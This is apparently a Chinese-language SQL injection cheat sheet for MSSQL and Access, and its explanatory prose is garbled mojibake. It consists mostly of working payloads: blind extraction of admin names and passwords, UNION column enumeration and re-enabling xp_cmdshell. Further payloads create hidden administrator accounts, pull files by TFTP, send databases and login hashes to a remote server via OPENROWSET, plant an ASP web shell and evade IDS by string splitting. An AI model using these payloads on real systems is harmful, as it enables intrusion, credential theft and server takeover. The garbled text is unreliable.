SQLע2
1..жע; and 1=1 and 1=2
2.±һıadmin adminuser user pass password ..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---жǷadminű
3.ʺĿ 0< ȷҳ 1<شҳ˵ʺĿ1
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
and (select count() from )>0
4.½ֶ len( ) 뵽ֶ.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(ûֶname)>0)
and 1=(select count(*) from admin where len(ֶpassword)>0)
5.½ֶεij ½ⳤȾǰ>0任 ֱȷҳΪֹ
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6)
and 1=(select count(*) from admin where len(name)>5) ȷ 6
and 1=(select count(*) from admin where len(name)=6) ȷ
and 1=(select count(*) from admin where len(password)>11) ȷ
and 1=(select count(*) from admin where len(password)>12) 12
and 1=(select count(*) from admin where len(password)=12) ȷ
³Ȼ and (select top 1 len(username) from admin)>5
6.½ַ
and 1=(select count(*) from admin where left(name,1)=a) ---½ûʺŵĵһλ
and 1=(select count(*) from admin where left(name,2)=ab)---½ûʺŵĵڶλ
һμһַ,µղŲ³Ķλ˾Ͷ,ʺž
ݻand (select top 1 asc(mid(password,1,1)) from admin)>50ASC
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
ѯԲ½ĵû.ֻҪѺֻĵASSICOK.ѽתַ.
group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE NOT IN (login_id)-
UNION SELECT TOP 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE NOT IN (login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
IJ=˴SP4
and 1=(select @@VERSION)--
ݿ˺ŵȨޣ֤ǷɫsysadminȨޡ
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
жݿʺšSA˺ =֤˺SA
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
xp_cmdshellǷɾ
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshellɾָ,֧־·Ļָ
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
PINGԼʵ
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
ʺ
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
һĿ¼Ẹ
;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c\inetpub\wwwroot\mkwebdir.vbs -w "ĬWebվ" -v "e","e\"--
ԣдһwebshell
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
MSSQLҲϲѯ
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (unionaccessҲ)
⼼:%5c=\ ߰/\ %5ύ
õWEB·
;create table . ((255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- image͵ıcmd
xp_cmdshellIJԹ̣
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- SQLʺ
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start, schedule
exec master..xp_servicecontrol start, server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- TFTPϴļ
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm+dshell exec @a dir c:\
;declare @a;set @a=db_name();backup database @a to disk=IPĹĿ¼bak.dat
ԡ
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
ѯ죺
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- ʾһffffû
and 1<>(select count(email) from );--
;update set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update set email=(select top 1 count(id) from password) where name=ffff;--
;update set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update set email=(select top 1 name from password where id=2) where name=ffff;--
ǵõݿеĵһû,ѱffffûֶС
ͨ鿴ffffûϿɵõһñad
ȻݱadõID õڶ
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //Ϊaccessݿ
öٳݱ
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
ǽһµaaaֶδ
һڶ and name<>ղŵõı
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
Ȼid=1552 and exists(select * from aaa where aaa>5)
ڶһĶֱûΪֹ
ֶ
;update aaa set aaa=(select top 1 col_name(object_id(),1));--
Ȼid=152 and exists(select * from aaa where aaa>5)õֶ
;update aaa set aaa=(select top 1 col_name(object_id(),2));--
Ȼid=152 and exists(select * from aaa where aaa>5)õֶ
[ݱ][ֵֶΪ뷨ֶεֵͿɵõ]
update set ֶ=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>õı һһ]) [ where ] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,)
ͨSQLSERVERע©ݿԱʺźϵͳԱʺ[ǰʺűSYSADMIN]
[ݱֶ][ֵֶΪֶ뷨ֶεֵͿɵõֶ]
update set ֶ=(select top 1 col_name(object_id(Ҫѯݱ),ֶ:1) [ where ]
ƹIDSļ[ʹñ]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm+dshell exec @a dir c:\
1 Զݿ
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
: (1) OLEDB Provider name
2 ַκζ˿,
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.ĿݿinsertԶ̱ر
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
佫Ŀtable2еݸƵԶݿеtable1СʵʵַIPַͶ˿ڣָҪĵط磺
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
ݿ⣺
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
ƹHASH¼hash洢sysxloginsС£
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
õhash֮ͿԽбƽ⡣
Ŀ¼ķ ȴһʱtemp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- õǰ
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- Ŀ¼б
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- Ŀ¼Ŀ¼ṹ,temp
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 鿴ijļ
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- xp_dirtreeȨPUBLIC
д
1and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
2and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
3and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
4and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
5and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
6and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
7and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
8and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
9and 1=(SELECT IS_MEMBER(db_owner));--
·дȥ
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
ݿⱸݵҳĿ¼
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) οر
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_oacreate wscript.shell, @o out
exec sp_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int
exec sp_oacreate speech.voicetext, @o out
exec sp_oamethod @o, register, NULL, foo, bar
exec sp_oasetproperty @o, speed, 150
exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
xp_dirtreeȨPUBLIC
exec master.dbo.xp_dirtree c:صϢֶsubdirectorydepthSubdirectoryֶַͣdepthֶֶΡ
create table dirs(paths varchar(100), id int)
ｨıǺxp_dirtreeֶȡͬ
insert dirs exec master.dbo.xp_dirtree c:ֻҪǽ洢̷صֶඨȾִܹУﵽдЧ,һﵽҪϢ
ҳ:
[1]